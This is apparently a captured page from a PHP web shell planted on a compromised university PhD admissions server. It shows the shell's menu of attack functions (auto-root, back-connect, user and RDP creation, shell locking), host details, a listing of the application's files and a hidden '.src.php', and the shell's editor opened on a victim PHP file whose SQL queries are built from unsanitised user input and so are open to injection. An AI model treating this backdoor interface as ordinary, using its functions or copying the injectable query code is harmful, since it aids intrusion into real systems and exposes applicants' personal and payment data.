Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.189.194.36
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
phdadm /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.src.php
3.61
KB
-rw-r--r--
20240925011534 - Decode246_239...
18.3
MB
-rw-r--r--
academicdetails.php
6.93
KB
-rw-r--r--
academicdetails_acu.php
8.72
KB
-rw-r--r--
appfor_acu.php
3.17
KB
-rw-r--r--
applicationFormReportPOSTOFFIC...
19.27
KB
-rwxrwxrwx
applicationFormReportSBM.php
8.41
KB
-rwxrwxrwx
caccesscontext.php
1.24
KB
-rwxrwxrwx
cancelSeat.php
4.46
KB
-rwxrwxrwx
cappcontext.php
2.65
KB
-rwxrwxrwx
code39.php
6.38
KB
-rwxrwxrwx
coutput.php
1.76
KB
-rwxrwxrwx
crequestbroker.php
2.48
KB
-rwxrwxrwx
csessions.php
512
B
-rwxrwxrwx
cuser.php
3.4
KB
-rwxrwxrwx
customappcontext.php
2.34
KB
-rwxrwxrwx
dropdown.php
844
B
-rwxrwxrwx
employmentdetails_acu.php
4.16
KB
-rw-r--r--
format.php
7.43
KB
-rwxrwxrwx
fpdf_protection.php
5.61
KB
-rwxrwxrwx
getdata.php
1.06
KB
-rwxrwxrwx
getnumword.php
7.15
KB
-rwxrwxrwx
json.php
33.2
KB
-rwxrwxrwx
kusphdadm.php
21.81
KB
-rwxrwxrwx
makepay_acu.php
11.89
KB
-rw-r--r--
mregistry.php
22.88
KB
-rwxr-xr-x
mregistry_org1.php
77.02
KB
-rw-rw-r--
mregistry_org2.php
16.18
KB
-rwxrwxrwx
otherdetails.php
8.38
KB
-rw-r--r--
particulardetails.php
3.11
KB
-rw-r--r--
personaldetails.php
12.52
KB
-rw-rw-r--
personaldetails_acu.php
37.53
KB
-rw-rw-r--
phdmakepayment.php
3.35
KB
-rw-r--r--
photoupload.php
1.23
KB
-rw-rw-r--
re_rigistration.php
7.38
KB
-rwxrwxrwx
report_bulk_applications.php
24.02
KB
-rwxrwxrwx
report_hall_ticket.php
11.31
KB
-rwxrwxrwx
reportapplicationform.php
23.92
KB
-rwxrwxrwx
rotation.php
596
B
-rwxrwxrwx
saveApplication.php
8.91
KB
-rwxrwxrwx
saveRerigistration.php
10.87
KB
-rwxrwxrwx
student.php
14.99
KB
-rwxrwxrwx
subfeedetl.php
3.39
KB
-rwxrwxrwx
teachdocupload.php
1.2
KB
-rw-r--r--
teachingexperience.php
7.73
KB
-rw-rw-r--
ugcnet.php
6.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachingexperience.php
<?php //require_once("/Library/WebServer/Documents/oasis/aws/aws-autoloader.php"); require_once("/var/www/html/aws/aws-autoloader.php"); // require_once("C:/XAMPP/htdocs/aws/aws-autoloader.php"); use Aws\S3\S3Client; use Aws\S3\Exception\S3Exception; function teachloaddetails($aobj_context){ // $mob=$_SESSION["MOBILE"]; $appno=$_SESSION["APPNO"]; $query="SELECT IFNULL(fid,'')as id, IFNULL(forganization,'')AS org, IFNULL(fposition,'')AS pos, IFNULL(fpay,'')AS pay, IFNULL(ftotexp,'')AS totexp, ifnull(DATE_FORMAT(ffrom,'%d/%m/%Y'),'') AS ffrom, ifnull(DATE_FORMAT(fto,'%d/%m/%Y'),'') AS fto, IFNULL(fduty,'')AS duty , IFNULL(fteachdoc,'')AS fteachdoc FROM phdexp WHERE fappno='$appno'"; $lobj_get_data = $aobj_context->mobj_db->GetAll($query); // var_dump($lobj_get_data); // die(); $query1="select ifnull(fpaystatus,'') as fpaystatus from phdstudadm where fappno='$appno'"; $run=$aobj_context->mobj_db->GetRow($query1); if($lobj_get_data){ $arr['teach']=$lobj_get_data; $arr['success']=$run; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function saveteachexp($aobj_context){ $appno=$_SESSION["APPNO"]; // $mob=$_SESSION["MOBILE"]; $fid=$aobj_context->mobj_data["fid"]; $org=$aobj_context->mobj_data["org"]; $pos=$aobj_context->mobj_data["pos"]; $pay=$aobj_context->mobj_data["pay"]; $totexp=$aobj_context->mobj_data["totexp"]; $ffrom=$aobj_context->mobj_data["ffrom"]; $fto=$aobj_context->mobj_data["fto"]; $duty=$aobj_context->mobj_data["duty"]; $teachphotopath=$aobj_context->mobj_data["teachphotopath"]; $teachphdphoto=$appno.'_'.$teachphotopath; $query1="select fappno,fid from phdexp where fappno='$appno' and fid='$fid'"; $fetch=$aobj_context->mobj_db->GetRow($query1); // var_dump($fetch["fappno"]); // die; if($teachphotopath){ $s3 = S3Client::factory( array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' ) ); $query = "select funivcode from control"; $results = $aobj_context->mobj_db->GetRow($query); $funivcode = $results['funivcode']; // $photo_filename = $rgPerArray['photo_path']; // var_dump($photo_filename); // die(); if($teachphdphoto != '' && $teachphdphoto != NULL) { $image_path = $aobj_context->main_src."uploads/{$teachphotopath}"; $ext = pathinfo($photo_filename, PATHINFO_EXTENSION); $photo_filename = $fappno; // $phdphotoo = $phdphoto.".".$ext; $full_file_path = $funivcode."/phd_photos/".$teachphdphoto; // var_dump($full_file_path); // die(); $tphoto = $funivcode."/phd_certificates/".$teachphdphoto; // var_dump($image_path); // die(); // var_dump($photo); if(file_exists($image_path)) { try { $s3->putObject(['Bucket' => ADMISSION_CERTIFICATES, 'Key' => $tphoto, 'SourceFile' => $image_path]); // if($fetch["fappno"]==""){ // $update = "insert into (fteachdoc) // value('{$tphoto}')"; // $up_obj=$aobj_context->mobj_db->Execute($update); // }else{ // $update="update phdexp set fteachdoc='{$tphoto}' // where FAPPNO= '{$appno}' and fid='{$fid}'"; // // var_dump($update); // // die(); // $up_obj=$aobj_context->mobj_db->Execute($update); // } unlink($image_path); }catch(S3Exception $e) { $arr['message'] = 'Unable to upload file'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } } } } if($fetch["fappno"]==""){ $query2="insert into phdexp (fappno,forganization, fposition, fpay, ftotexp, ffrom, fto, fduty,fteachdoc) value ('$appno','$org','$pos','$pay','$totexp',date_format(str_to_date('$ffrom','%Y-%m-%d'),'%Y-%m-%d'), date_format(str_to_date('$fto','%Y-%m-%d'),'%Y-%m-%d'),'$duty','$tphoto')"; // var_dump($query2); // die(); $run = $aobj_context->mobj_db->Execute($query2); }else{ $query3="update phdexp set forganization='$org', fposition='$pos', fpay='$pay', ftotexp='$totexp', ffrom=date_format(str_to_date('$ffrom','%Y-%m-%d'),'%Y-%m-%d'), fto=date_format(str_to_date('$fto','%Y-%m-%d'),'%Y-%m-%d'), fduty='$duty',fteachdoc='{$tphoto}' where fappno='$appno' and fid='$fid'"; // var_dump($query3); // die(); $run = $aobj_context->mobj_db->Execute($query3); } if($run){ $arr['msg']="success..!"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; }else{ $arr['msg'] = "Fail to save"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } } function teachupdate($aobj_context){ $appno=$_SESSION["APPNO"]; $fid=$aobj_context->mobj_data["id"]; $query="SELECT IFNULL(fid,'')as id, IFNULL(forganization,'')AS org, IFNULL(fposition,'')AS pos, IFNULL(fpay,'')AS pay, IFNULL(ftotexp,'')AS totexp, IFNULL(ffrom,'')AS ffrom, IFNULL(fto,'')AS fto, IFNULL(fduty,'')AS duty FROM phdexp WHERE fappno='$appno' and fid='$fid'"; $lobj_get_data = $aobj_context->mobj_db->GetRow($query); if($lobj_get_data){ echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_data,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function teachdelete($aobj_context){ $appno=$_SESSION["APPNO"]; $fid=$aobj_context->mobj_data["id"]; $query="DELETE FROM phdexp WHERE fappno='$appno' and fid='$fid'"; $lobj_get_data = $aobj_context->mobj_db->Execute($query); if($lobj_get_data){ $arr['msg'] = "Deleted Successfully..!"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } ?>
Close